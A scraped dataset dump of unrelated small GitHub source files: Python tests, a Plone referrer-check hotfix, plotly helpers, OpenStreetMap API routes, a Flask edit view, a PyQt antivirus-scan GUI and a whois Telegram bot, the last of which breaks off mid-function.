test_switch_order():\n assert switch_order(\"Li Jiarong\") == \"Jiarong Li\"\n assert switch_order(\"Agaton Sax\") == \"Sax Agaton\"\n print(\"All tests OK\")\n \ntest_switch_order()\n","repo_name":"Ran4/dd1331-public","sub_path":"ex02/ran_pk54.py","file_name":"ran_pk54.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9591115402","text":"# This file is part of xmpp-backends (https://github.com/mathiasertl/xmpp-backends).\n#\n# xmpp-backends is free software: you can redistribute it and/or modify it under the terms of the GNU General\n# Public License as published by the Free Software Foundation, either version 3 of the License, or (at your\n# option) any later version.\n#\n# xmpp-backends is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the\n# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n# for more details.\n#\n# You should have received a copy of the GNU General Public License along with xmpp-backends. If not, see\n# .\n\nfrom django.core.cache import cache\nfrom django.test import TestCase\n\nfrom xmpp_backends.base import UserNotFound\nfrom xmpp_backends.dummy import DummyBackend\n\n\nclass TestDummySessions(TestCase):\n def setUp(self):\n cache.clear()\n self.backend = DummyBackend(domains=['example.com'])\n super().setUp()\n\n def tearDown(self):\n cache.clear()\n super().tearDown()\n\n def test_wrong_user(self):\n self.assertEqual(self.backend.all_user_sessions(), set())\n with self.assertRaisesRegex(UserNotFound, 'wrong@example.com/rsrc'):\n self.backend.start_user_session('wrong', 'example.com', 'rsrc', ip_address='127.0.0.1')\n self.assertEqual(self.backend.all_user_sessions(), set())\n\n def test_session(self):\n node = 'user'\n domain = 'example.com'\n rsrc = 'resource'\n self.backend.create_user(node, domain, 'password')\n self.assertEqual(self.backend.all_user_sessions(), set())\n\n self.backend.start_user_session(node, domain, rsrc, ip_address='127.0.0.1')\n sessions = self.backend.all_user_sessions()\n self.assertEqual(len(sessions), 1)\n session = list(sessions)[0]\n self.assertEqual(session.jid, '%s@%s' % (node, domain))\n self.assertEqual(session.username, node)\n self.assertEqual(session.domain, domain)\n self.assertEqual(self.backend.user_sessions(node, domain), {session, })\n\n self.backend.stop_user_session(node, domain, rsrc)\n self.assertEqual(self.backend.all_user_sessions(), set())\n self.assertEqual(self.backend.user_sessions(node, domain), set())\n","repo_name":"mathiasertl/xmpp-backends","sub_path":"tests/test_dummy.py","file_name":"test_dummy.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"38449045343","text":"# -*- coding:utf-8 -*-\n__author__ = 'xiaoguo'\n\nfrom general.xg_caps import appium_caps\nimport unittest, logging\nfrom time import sleep\n\nclass startAndEnd(unittest.TestCase):\n\n def setUp(self):\n logging.info('-' * 10 + 'setUp' + '-' * 10)\n self.driver = appium_caps()\n\n def tearDown(self):\n logging.info('=' * 10 + 'tearDown' + '=' * 10)\n sleep(5)\n self.driver.close_app()","repo_name":"xiao66guo/wdj_test","sub_path":"general/xgunit.py","file_name":"xgunit.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"596452170","text":"from urlparse import urlparse\nfrom z3c.form import widget\n\n\n# Attribute name to allow prefilling a widget with a value from a GET request.\n# Usually all forms are only for POST, and we disallow filling it with GET\n# data. This works the way around too: allow prefilling from a POST request\n# when the form only handles GET. But that is unlikely.\nALLOW_PREFILL = 'allow_prefill_from_GET_request'\n\n\ndef _wrap_update(update):\n def _wrapped(self):\n # If we are not already ignoring the request, check the referer.\n if not self.ignoreRequest and hasattr(self.request, 'environ'):\n env = self.request.environ\n referrer = env.get('HTTP_REFERER', env.get('HTTP_REFERRER'))\n if referrer:\n req_url_parsed = urlparse(self.request.URL)\n referrer_parsed = urlparse(referrer)\n if hasattr(req_url_parsed, 'netloc'):\n request_netloc = req_url_parsed.netloc\n referrer_netloc = referrer_parsed.netloc\n else:\n # On Python 2.4 (Plone 3) there is no netloc...\n request_netloc = req_url_parsed[1]\n referrer_netloc = referrer_parsed[1]\n if request_netloc != referrer_netloc:\n # We do not trust data from outside referrers.\n self.ignoreRequest = True\n # If we are not already ignoring the request, check the request method.\n if not self.ignoreRequest and hasattr(self.form, 'method'):\n if self.request.REQUEST_METHOD.lower() != self.form.method.lower():\n # This is an unexpected request method.\n # For special cases we allow a form to bail out.\n if not getattr(self.form, ALLOW_PREFILL, False):\n self.ignoreRequest = True\n return update(self)\n return _wrapped\n\n\nwidget.Widget.update = _wrap_update(widget.Widget.update)\n","repo_name":"vcabral19/productsgovit","sub_path":"eggs/Products.PloneHotfix20160830-1.3-py2.7.egg/Products/PloneHotfix20160830/z3c_form.py","file_name":"z3c_form.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9329582905","text":"import plotly.express as px\nfrom plotly.graph_objects import Figure\nfrom pandas.core.series import Series\n\n\ndef customize_figure(fig: Figure) -> Figure:\n \"\"\"Update the layout and style of plotly figures.\n\n Args:\n fig (plotly.graph_objs._figure.Figure): Figure to modify.\n\n Returns:\n plotly.graph_objs._figure.Figure: Customized figure.\n \"\"\"\n fig.update_xaxes(fixedrange=True, title=\"Values\", title_font_size=12)\n fig.update_yaxes(fixedrange=True, title_font_size=12)\n fig.update_layout(\n font_family=\"Courier New\",\n font_color=\"#ccc\",\n paper_bgcolor=\"#244\",\n plot_bgcolor=\"#244\",\n margin={\"l\": 60, \"t\": 40, \"r\": 10, \"b\": 10},\n template=\"plotly_dark\",\n title_font_size=13,\n )\n return fig\n\n\ndef plot_ecdf(data: Series, distribution: str) -> Figure:\n \"\"\"Get an Empirical Cummulative Distribution plot of the given data.\n\n Args:\n data (pandas.Series): Values to plot.\n distribution (str): Name of `data`s probability distribution.\n\n Returns:\n plotly.graph_objs._figure.Figure: A plotly figure.\n \"\"\"\n fig = px.ecdf(\n x=data,\n color_discrete_sequence=[\"#7bb\"],\n lines=False,\n markers=True,\n title=f\"ECDF Plot ({distribution} Distribution)\",\n )\n fig = customize_figure(fig)\n fig.update_xaxes(\n gridcolor=\"#777\", linecolor=\"#777\", linewidth=2, zerolinecolor=\"#777\"\n )\n fig.update_yaxes(gridcolor=\"#777\")\n return fig\n\n\ndef plot_histogram(data: Series, distribution: str) -> Figure:\n \"\"\"Get a histogram of the given data.\n\n Args:\n data (pandas.Series): Values to plot.\n distribution (str): Name of `data`s probability distribution.\n\n Returns:\n plotly.graph_objs._figure.Figure: A plotly figure.\n \"\"\"\n fig = px.histogram(\n x=data,\n nbins=50,\n opacity=0.9,\n color_discrete_sequence=[\"#7bb\"],\n title=f\"Histogram ({distribution} Distribution)\",\n )\n fig = customize_figure(fig)\n fig.update_xaxes(linecolor=\"#777\", linewidth=2)\n fig.update_yaxes(gridcolor=\"#777\")\n return fig\n\n\ndef plot_violin(data: Series, distribution: str) -> Figure:\n \"\"\"Get a violin-plot of the given data.\n\n Args:\n data (pandas.Series): Values to plot.\n distribution (str): Name of `data`s probability distribution.\n\n Returns:\n plotly.graph_objs._figure.Figure: A plotly figure.\n \"\"\"\n fig = px.violin(\n x=data,\n box=True,\n points=\"all\",\n color_discrete_sequence=[\"#7bb\"],\n title=f\"Violin Plot ({distribution} Distribution)\",\n )\n fig = customize_figure(fig)\n fig.update_xaxes(gridcolor=\"#777\", zerolinecolor=\"#777\")\n return fig\n","repo_name":"Tim-Abwao/probability-distributions-with-dash","sub_path":"dist_dashboard/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25519762099","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'substringCalculator' function below.\n#\n# The function is expected to return a LONG_INTEGER.\n# The function accepts STRING s as parameter.\n#\nfrom itertools import permutations\n\ndef substringCalculator(s):\n # Write your code here\n\n subset = set()\n s_len = len(s)\n\n for i in range(s_len): # i: 시작점\n for j in range(s_len + 1, i, -1): # j: 끝점\n if s[i:j] not in subset:\n subset.add(s[i:j])\n for idx, subs in enumerate(subset):\n print(f'{idx} {subs}')\n\n\n return len(subset)\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = 'kincenvizh'\n\n result = substringCalculator(s)\n\n print(result)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"Enin/codingTest","sub_path":"test_page.py","file_name":"test_page.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36641050684","text":"from collections.abc import Sequence\nfrom typing import Annotated\n\nfrom fastapi import APIRouter, HTTPException, Query, Request, status\nfrom fastapi.responses import PlainTextResponse\nfrom pydantic import PositiveInt\n\nfrom cython_lib.xmltodict import XMLToDict\nfrom lib.auth import api_user\nfrom lib.exceptions import raise_for\nfrom lib.format.format06 import Format06\nfrom lib.optimistic import Optimistic\nfrom models.db.user import User\nfrom models.element_type import ElementType\nfrom models.scope import Scope\nfrom models.typed_element_ref import TypedElementRef\nfrom models.versioned_element_ref import VersionedElementRef\nfrom repositories.element_repository import ElementRepository\n\n# TODO: rate limit\n# TODO: dependency for xml parsing?\nrouter = APIRouter()\n\n# TODO: redaction (403 forbidden), https://wiki.openstreetmap.org/wiki/API_v0.6#Redaction:_POST_/api/0.6/[node|way|relation]/#id/#version/redact?redaction=#redaction_id\n# TODO: HttpUrl, ConstrainedUrl\n\n\n@router.put('/{type}/create', response_class=PlainTextResponse)\nasync def element_create(\n request: Request,\n type: ElementType,\n _: Annotated[User, api_user(Scope.write_api)],\n) -> int:\n xml = (await request.body()).decode()\n data: dict = XMLToDict.parse(xml).get('osm', {}).get(type.value, {})\n\n if not data:\n raise_for().bad_xml(type.value, xml, f\"XML doesn't contain an osm/{type.value} element.\")\n\n # force dynamic id allocation\n data['@id'] = -1\n\n try:\n element = Format06.decode_element(data, changeset_id=None)\n except Exception as e:\n raise_for().bad_xml(type.value, xml, str(e))\n\n assigned_ref_map = await Optimistic([element]).update()\n return next(iter(assigned_ref_map.values()))[0].typed_id\n\n\n@router.get('/{type}/{typed_id}')\n@router.get('/{type}/{typed_id}.xml')\n@router.get('/{type}/{typed_id}.json')\nasync def element_read_latest(\n type: ElementType,\n typed_id: PositiveInt,\n) -> dict:\n typed_ref = TypedElementRef(type=type, typed_id=typed_id)\n elements = await ElementRepository.get_many_latest_by_typed_refs([typed_ref], limit=None)\n element = elements[0] if elements else None\n\n if not element:\n raise_for().element_not_found(typed_ref)\n if not element.visible:\n raise HTTPException(status.HTTP_410_GONE)\n\n return Format06.encode_element(element)\n\n\n@router.get('/{type}/{typed_id}/{version}')\n@router.get('/{type}/{typed_id}/{version}.xml')\n@router.get('/{type}/{typed_id}/{version}.json')\nasync def element_read_version(\n type: ElementType,\n typed_id: PositiveInt,\n version: PositiveInt,\n) -> dict:\n versioned_ref = VersionedElementRef(type=type, typed_id=typed_id, version=version)\n elements = await ElementRepository.get_many_by_versioned_refs([versioned_ref])\n\n if not elements:\n raise_for().element_not_found(versioned_ref)\n\n return Format06.encode_element(elements[0])\n\n\n@router.put('/{type}/{typed_id}', response_class=PlainTextResponse)\nasync def element_update(\n request: Request,\n type: ElementType,\n typed_id: PositiveInt,\n _: Annotated[User, api_user(Scope.write_api)],\n) -> int:\n xml = (await request.body()).decode()\n data: dict = XMLToDict.parse(xml).get('osm', {}).get(type.value, {})\n\n if not data:\n raise_for().bad_xml(type.value, xml, f\"XML doesn't contain an osm/{type.value} element.\")\n\n data['@id'] = typed_id\n\n try:\n element = Format06.decode_element(data, changeset_id=None)\n except Exception as e:\n raise_for().bad_xml(type.value, xml, str(e))\n\n await Optimistic([element]).update()\n return element.version\n\n\n@router.delete('/{type}/{typed_id}', response_class=PlainTextResponse)\nasync def element_delete(\n request: Request,\n type: ElementType,\n typed_id: PositiveInt,\n _: Annotated[User, api_user(Scope.write_api)],\n) -> int:\n xml = (await request.body()).decode()\n data: dict = XMLToDict.parse(xml).get('osm', {}).get(type.value, {})\n\n if not data:\n raise_for().bad_xml(type.value, xml, f\"XML doesn't contain an osm/{type.value} element.\")\n\n data['@id'] = typed_id\n data['@visible'] = False\n\n try:\n element = Format06.decode_element(data, changeset_id=None)\n except Exception as e:\n raise_for().bad_xml(type.value, xml, str(e))\n\n await Optimistic([element]).update()\n return element.version\n\n\n@router.get('/{type}/{typed_id}/history')\n@router.get('/{type}/{typed_id}/history.xml')\n@router.get('/{type}/{typed_id}/history.json')\nasync def element_history(\n type: ElementType,\n typed_id: PositiveInt,\n) -> Sequence[dict]:\n typed_ref = TypedElementRef(type=type, typed_id=typed_id)\n elements = await ElementRepository.get_many_by_typed_ref(typed_ref, limit=None)\n\n if not elements:\n raise_for().element_not_found(typed_ref)\n\n return Format06.encode_elements(elements)\n\n\n@router.get('/{type}s')\n@router.get('/{type}s.xml')\n@router.get('/{type}s.json')\nasync def elements_read_many(\n type: ElementType,\n nodes: Annotated[str | None, Query(None)],\n ways: Annotated[str | None, Query(None)],\n relations: Annotated[str | None, Query(None)],\n) -> Sequence[dict]:\n query = {\n ElementType.node: nodes,\n ElementType.way: ways,\n ElementType.relation: relations,\n }[type]\n\n if not query:\n raise HTTPException(\n status.HTTP_400_BAD_REQUEST,\n f'The parameter {type.value}s is required, and must be of the form '\n f'{type.value}s=ID[vVER][,ID[vVER][,ID[vVER]...]].',\n )\n\n try:\n query = (q.strip() for q in query.split(','))\n query = (q for q in query if q)\n query = {\n VersionedElementRef.from_type_str(type, q)\n if 'v' in q\n else TypedElementRef(\n type=type,\n typed_id=int(q),\n )\n for q in query\n }\n except ValueError as e:\n # parsing error => element not found\n raise HTTPException(status.HTTP_404_NOT_FOUND) from e\n\n elements = await ElementRepository.find_many_by_refs(query, limit=None)\n\n if not all(elements):\n raise HTTPException(status.HTTP_404_NOT_FOUND)\n\n return Format06.encode_elements(elements)\n\n\n@router.get('/{type}/{typed_id}/relations')\n@router.get('/{type}/{typed_id}/relations.xml')\n@router.get('/{type}/{typed_id}/relations.json')\nasync def element_parent_relations(\n type: ElementType,\n typed_id: PositiveInt,\n) -> Sequence[dict]:\n typed_ref = TypedElementRef(type=type, typed_id=typed_id)\n elements = await ElementRepository.get_many_parents_by_typed_refs(\n [typed_ref],\n parent_type=ElementType.relation,\n limit=None,\n )\n return Format06.encode_elements(elements)\n\n\n@router.get('/node/{typed_id}/ways')\n@router.get('/node/{typed_id}/ways.xml')\n@router.get('/node/{typed_id}/ways.json')\nasync def element_parent_ways(\n typed_id: PositiveInt,\n) -> Sequence[dict]:\n typed_ref = TypedElementRef(type=ElementType.node, typed_id=typed_id)\n elements = await ElementRepository.get_many_parents_by_typed_refs(\n [typed_ref],\n parent_type=ElementType.way,\n limit=None,\n )\n return Format06.encode_elements(elements)\n\n\n@router.get('/{type}/{typed_id}/full')\n@router.get('/{type}/{typed_id}/full.xml')\n@router.get('/{type}/{typed_id}/full.json')\nasync def element_full(\n type: ElementType.way | ElementType.relation,\n typed_id: PositiveInt,\n) -> Sequence[dict]:\n typed_ref = TypedElementRef(type=type, typed_id=typed_id)\n elements = await ElementRepository.get_many_latest_by_typed_refs([typed_ref], limit=None)\n element = elements[0] if elements else None\n\n if not element:\n raise_for().element_not_found(typed_ref)\n if not element.visible:\n raise HTTPException(status.HTTP_410_GONE)\n\n elements = await ElementRepository.get_many_latest_by_typed_refs(\n tuple(member.typed_ref for member in element.members),\n recurse_ways=True,\n limit=None,\n )\n\n return Format06.encode_elements(elements)\n","repo_name":"Zaczero/openstreetmap-ng","sub_path":"controllers/api/0.6/elements.py","file_name":"elements.py","file_ext":"py","file_size_in_byte":8044,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"48"} +{"seq_id":"25473391939","text":"import pathlib\nfrom datetime import datetime\n\nimport mistune\nfrom flask import render_template, abort, request, url_for, current_app, redirect\nfrom flask_bigapp.security import login_check\nfrom werkzeug.utils import secure_filename\n\nfrom app.extensions import logger\nfrom app.globals import HighlightRenderer\nfrom app.models.news import News\nfrom .. import bp\n\n\n@bp.route(\"/edit/\", methods=[\"GET\", \"POST\"])\n@login_check(\"logged_in\", \"backend.login\")\ndef edit(news_id):\n news_ = News.get_by_id(news_id)\n if not news_:\n return abort(404)\n\n if request.method == \"POST\":\n logger.debug(f\"Updating news {news_.news_id}\")\n\n title = request.form.get(\"title\")\n slug = request.form.get(\"slug\")\n thumbnail = request.files.get(\"thumbnail\")\n\n markdown = request.form.get(\"markdown\", '')\n markdown_processor = mistune.create_markdown(renderer=HighlightRenderer())\n markup = markdown_processor(markdown)\n\n viewable = True if request.form.get(\"viewable\") == 'true' else False\n\n if request.form.get(\"release_date\") != \"\":\n try:\n release_date = datetime.strptime(request.form.get(\"release_date\", ''), \"%Y-%m-%dT%H:%M\")\n except ValueError:\n release_date = None\n else:\n release_date = None\n\n author = request.form.get(\"author\")\n author_link = request.form.get(\"author_link\")\n\n News.update(\n values={\n \"title\": title,\n \"slug\": slug,\n \"markdown\": markdown,\n \"markup\": markup,\n \"viewable\": viewable,\n \"release_date\": release_date,\n \"author\": author or \"\",\n \"author_link\": author_link or \"\",\n },\n id_=news_id,\n )\n\n if thumbnail:\n upload_location = pathlib.Path(\n pathlib.Path(current_app.root_path) / \"uploads\" / \"news\" / str(news_.news_id))\n upload_location.mkdir(parents=True, exist_ok=True)\n\n if news_.thumbnail:\n old_file = upload_location / str(news_.thumbnail)\n if old_file.exists():\n old_file.unlink()\n\n safe_filename = secure_filename(thumbnail.filename)\n save_location = upload_location / safe_filename\n rename_file = upload_location / f\"{news_.news_id}-{news_.slug}-thumbnail{save_location.suffix}\"\n thumbnail.save(rename_file)\n news_.thumbnail = rename_file.name\n news_.save()\n\n return redirect(url_for(\"backend.news_and_articles.edit\", news_id=news_.news_id))\n\n if news_.thumbnail:\n thumbnail = url_for(\"news_cdn\", news_id=news_.news_id, filename=news_.thumbnail)\n else:\n thumbnail = url_for(\"theme.static\", filename=\"img/no-thumbnail.png\")\n\n return render_template(bp.tmpl(\"edit.html\"), news=news_, thumbnail=thumbnail)\n","repo_name":"Flask-Planet/flask-planet.org","sub_path":"app/blueprints/backend/blueprints/news_and_articles/routes/edit.py","file_name":"edit.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39016552019","text":"# Untitled.py\n# Created by Kids on 10/10/20.\nrhyme_ht = {\"cake\" : [\"break\", \"brake\", \"bake\", \"rake\", \"lake\", \"make\", \"flake\", \"take\", \"ache\", \"fake\", \"jake\", \"opaque\", \"copake\"], \"hate\" : [\"bait\", \"kate\", \"date\", \"fate\", \"gate\", \"crate\", \"mate\", \"nate\", \"late\", \"rate\", \"weight\", \"wait\", \"skate\", \"plate\", \"ate\", \"eight\", \"freight\", \"great\", \"grate\", \"slate\", \"trait\", \"spate\"], \"meet\" : [\"greet\", \"meat\", \"seat\", \"feet\", \"street\", \"sweet\", \"sheet\", \"suite\", \"skeet\", \"heat\", \"pleat\", \"fleet\", \"athlete\", \"beat\", \"beet\", \"tweet\", \"wheat\", \"street\", \"bleat\", \"cheat\", \"crete\", \"treat\", \"skeet\", \"reet\"], \"spite\" : [\"might\", \"sight\", \"kite\", \"right\", \"rite\", \"write\", \"alright\", \"flight\", \"bite\", \"byte\", \"cite\", \"wright\", \"bright\", \"blight\", \"smight\", \"light\", \"lite\"], \"shake\" : [\"cake\"]}\ndef does_rhyme(w1, w2):\n\ttry:\n\t\trhyme_list_one = rhyme_ht[w1]\n\t\tif w2 in rhyme_list_one:\n\t\t\treturn \"yay, \" + w1 + \" and \" + w2 + \" definitely do not rhyme.\"\n\t\telse:\n\t\t\ttry:\n\t\t\t\trhyme_list_two = rhyme_ht[w2]\n\t\t\t\tif w1 in rhyme_list_two:\n\t\t\t\t\treturn \"yay, \" + w1 + \" and \" + w2 + \" definitely do not rhyme.\"\n\t\t\texcept:\n\t\t\t\treturn w1 + \" does not rhyme with \" + w2 \t\n\texcept:\n\t\ttry:\n\t\t\trhyme_list_two = rhyme_ht[w2]\n\t\t\tif w1 in rhyme_list_two:\n\t\t\t\treturn \"yay, \" + w1 + \" and \" + w1 + \" definitely do not rhyme.\"\n\t\t\telse:\n\t\t\t\treturn \"these words definitely don't rhyme\"\t\n\t\texcept:\n\t\t\treturn \"sorry this code is too sucky to know that kinda stuff\"\t\n\t\t\n\t\n\t\t\n'''\n\ttry:\n\t\tcode_we_want_to_try()\n\texcept:\n\t\tcode_for_exceptions\n\n'''\t\nif __name__ == \"__main__\":\n\tanswer = input(\"please give me a word\\n\") \n\tanswer2 = input(\"Please give me a word that rhymes with the other word you gave\\n\")\n\t#print(does_rIm(answer, answer2))\n\n\tprint(does_rhyme(answer, answer2))","repo_name":"CoolAsTapatio/coding-lessons","sub_path":"skills/try_except.py","file_name":"try_except.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15469569705","text":"from PyQt5.QtWidgets import QFileDialog,QLabel\nfrom PyQt5.QtCore import QThread\nfrom MyPushButton import PushButton\nfrom PyQt5 import QtCore, QtWidgets\nfrom progress_worker import ProgressWorker\nfrom qrc import source_rc\nfrom my_header import HeaderWidget\nclass DirectoryScan(QtWidgets.QWidget):\n def __init__(self,main_window):\n \n super().__init__()\n self.main_window=main_window\n self.setupUi()\n self.active_scans=[]\n\n def open_dashboard(self):\n self.main_window.showDashboard()\n\n def setupUi(self):\n self.centralwidget = QtWidgets.QWidget(self)\n self.centralwidget.resize(1096, 900)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.header=HeaderWidget(self.main_window,self.centralwidget)\n self.label_6 = QtWidgets.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(410, 210, 251, 251))\n self.label_6.setStyleSheet(\"image:url(:/newPrefix/images/search-file.png);\\n\"\"background-repeat:no-repeat !important;\\n\"\"text-align:center !important;\\n\"\"margin:0px auto !important;\")\n self.label_6.setText(\"\")\n self.label_6.setObjectName(\"label_6\")\n self.pushButton_3 = PushButton(self.centralwidget,True)\n self.pushButton_3.setGeometry(QtCore.QRect(430, 520, 230, 41))\n self.pushButton_3.setStyleSheet(\"background:black;\\n\"\"color:#fff;\\n\"\"border:1px solid black;\\n\"\"font-weight:bold;\\n\"\"font-size:14px;\")\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.pushButton_3.clicked.connect(self.choose_scan_directory)\n self.choosen_directory=QLabel(self.centralwidget)\n self.choosen_directory.setGeometry(QtCore.QRect(430, 600, 430, 41))\n self.pushButton_4 = PushButton(self.centralwidget,True)\n self.pushButton_4.setGeometry(QtCore.QRect(140, 660, 121, 41))\n self.pushButton_4.setStyleSheet(\"background:black;\\n\"\"color:#fff;\\n\"\"border:1px solid black;\\n\"\"font-weight:bold;\\n\"\"font-size:14px;\")\n self.pushButton_4.setObjectName(\"pushButton_4\")\n self.pushButton_5=PushButton(self.centralwidget,True)\n self.pushButton_5.setGeometry(QtCore.QRect(770, 660, 121, 41))\n self.pushButton_5.setObjectName(\"pushButton_5\")\n self.pushButton_5.clicked.connect(self.open_dashboard)\n # self.progressBar = QtWidgets.QProgressBar(self.centralwidget)\n # self.progressBar.deleteLater()\n # self.progressBar.setGeometry(QtCore.QRect(310, 160, 451, 41))\n # self.progressBar.setProperty(\"value\", 24)\n # self.progressBar.setObjectName(\"progressBar\")\n # self.progressBar.hide\n # self.menubar = QtWidgets.QMenuBar(self)\n # self.menubar.setGeometry(QtCore.QRect(0, 0, 1096, 22))\n # self.menubar.setObjectName(\"menubar\")\n # self.statusbar = QtWidgets.QStatusBar(self)\n # self.statusbar.setObjectName(\"statusbar\")\n self.scanning = False\n # self.progressBar.hide()\n self.progress_thread = QThread()\n self.progress_worker = ProgressWorker()\n self.progress_worker.moveToThread(self.progress_thread)\n self.progress_worker.progress.connect(self.update_progress)\n self.progress_thread.start()\n self.pushButton_4.setText(\"CANCEL\")\n self.pushButton_4.clicked.connect(self.perform_directory_scan)\n self.retranslateUi(self)\n # QtCore.QMetaObject.connectSlotsByName(self)\n\n def disconnect_all(self,btn): \n for connection in btn.receivers(btn.clicked):\n btn.clicked.disconnect(connection)\n\n def toggle_scan(self):\n if self.scanning:\n self.scanning = False\n # self.progressBar.hide()\n # self.pushButton_3.show()\n # self.label_6.show()\n # self.pushButton_4.setText(\"SCAN\")\n # self.pushButton_4.receivers\n # self.pushButton_4.disconnect()\n # self.pushButton_4.clicked.connect(self.perform_directory_scan)\n else:\n self.scanning = True\n # self.progressBar.show()\n # self.pushButton_3.hide()\n # self.label_6.hide()\n # self.pushButton_4.setText(\"CANCEL\")\n # self.pushButton_4.disconnect()\n # self.pushButton_4.clicked.connect(self.toggle_scan)\n \n def update_progress(self, value,progid):\n # self.progressBar.setValue(value)\n self.main_window.progress_window.set_progress(value,progid)\n\n def go_back(self):\n self.main_window.showDashboard()\n # print('going back')\n # self.pushButton_4.setText(\"Back\")\n # self.pushButton_4.disconnect()\n # self.pushButton_4.clicked.connect(self.toggle_scan)\n \n def choose_scan_directory(self):\n self.selected_directory=QFileDialog.getExistingDirectory(\n None, \"Select a directory for scanning\")\n print(self.selected_directory)\n self.choosen_directory.setText(self.selected_directory)\n\n def make_scan_entry(self,progid,label,directory,threats_found,date_today,scanned_files,total_time,threats_quarantined):\n self.main_window.progress_window.remove_progress_bar(progid,label)\n import requests\n url= \"https://abidali1999063.pythonanywhere.com/record_api\"\n data_scan = {\n \"qtype\": \"scan\",\n \"directory\": directory,\n \"threats_found\": threats_found,\n \"date\":date_today, # Replace with the actual number of threats found\n \"userid\": self.main_window.userid # Replace with the actual user ID\n }\n # url_report = \"http://your-flask-app-url/record_api\"\n \n response = requests.post(url, data=data_scan)\n print(response.status_code,response.text, 'added record')\n last_id=response.json()['insert_id']\n data_report = {\n \"qtype\": \"report\",\n \"id\":last_id,\n \"date\": date_today,\n \"threats_found\": threats_found, # Replace with the actual number of threats found\n \"scanned_files\": scanned_files, # Replace with the actual user ID\n \"threats_qurantined\": threats_quarantined,\n \"total_time\":total_time\n }\n response = requests.post(url, data=data_report)\n # try:\n # insert_id=response.text\n # print(type(insert_id))\n # except: pass\n def perform_directory_scan(self):\n\n print(self.selected_directory)\n if self.selected_directory:\n prog,label=self.main_window.progress_window.add_progress_bar(self.selected_directory)\n # self.label=label\n # print('as returned: ', prog)\n # \n QtWidgets.QMessageBox.information(self, 'Scanning..', 'Scan has initiated, Visit \\'Progress Monitoring\\' to see progress')\n self.active_scans.append(prog)\n if not self.scanning: self.toggle_scan() \n self.progress_worker.start_scan(label,self.selected_directory,prog,self.make_scan_entry)\n\n self.go_back()\n \n def retranslateUi(self, directorywindow):\n _translate = QtCore.QCoreApplication.translate\n directorywindow.setWindowTitle(_translate(\"directorywindow\", \"MainWindow\"))\n self.pushButton_3.setText(_translate(\"directorywindow\", \"CHOOSE DIRECTORY \"))\n self.pushButton_4.setText(_translate(\"directorywindow\", \"SCAN\"))\n self.pushButton_5.setText(_translate(\"directorywindow\", \"BACK\"))\n # self.progressBar.setToolTip(_translate(\"directorywindow\", \"


    \"))\n # self.progressBar.setWhatsThis(_translate(\"directorywindow\", \"


    \"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n window = DirectoryScan(app)\n \n window.show()\n sys.exit(app.exec_())\n","repo_name":"abidali1999/malx-fyp","sub_path":"Directory_scan.py","file_name":"Directory_scan.py","file_ext":"py","file_size_in_byte":7852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9431493554","text":"# @Author: michael\n# @Date: 23-Apr-2020\n# @Filename: whois.py\n# @Last modified by: michael\n# @Last modified time: 07-Feb-2021\n# @License: GNU GPL v3\n\n\n\"\"\"Analyse une url avec whois.\"\"\"\n\nimport json\nimport logging\nimport time\n\nimport config as cfg\nimport psutil\nimport requests\nimport telegram\nfrom telegram import Update\nfrom telegram.ext import CallbackContext, CommandHandler\n\nfrom src.api.Restricted import restricted\n\nADRESSE = (\n \"https://www.whoisxmlapi.com/whoisserver/WhoisService?outputFormat=json&apiKey=\"\n + cfg.whois_key\n)\n\n\ndef print_analyse(analyse):\n try:\n if \"ErrorMessage\" in analyse:\n return analyse[\"ErrorMessage\"][\"msg\"]\n\n if \"registrant\" in analyse[\"WhoisRecord\"][\"registryData\"]:\n informations = analyse[\"WhoisRecord\"][\"registryData\"]\n else:\n informations = analyse[\"WhoisRecord\"]\n\n reponse = \"--- Général ---\\n\"\n reponse += \"Nom: {}\\n\".format(analyse[\"WhoisRecord\"][\"domainName\"])\n if \"createdDateNormalized\" in informations:\n reponse += \"Date de création: {}\\n\".format(\n informations[\"createdDateNormalized\"]\n )\n if \"updatedDateNormalized\" in informations:\n reponse += \"Dernier update: {}\\n\".format(\n informations[\"updatedDateNormalized\"]\n )\n if \"expiresDateNormalized\" in informations:\n reponse += \"Date d'expiration: {}\\n\".format(\n informations[\"expiresDateNormalized\"]\n )\n if \"registrarName\" in informations:\n reponse += \"Nom de registre: {}\\n\".format(informations[\"registrarName\"])\n\n if \"registrant\" in informations:\n reponse += \"\\n--- Inscrit ---\\n\"\n if \"name\" in informations[\"registrant\"]:\n reponse += \"Contact: {}\\n\".format(informations[\"registrant\"][\"name\"])\n if \"organization\" in informations[\"registrant\"]:\n reponse += 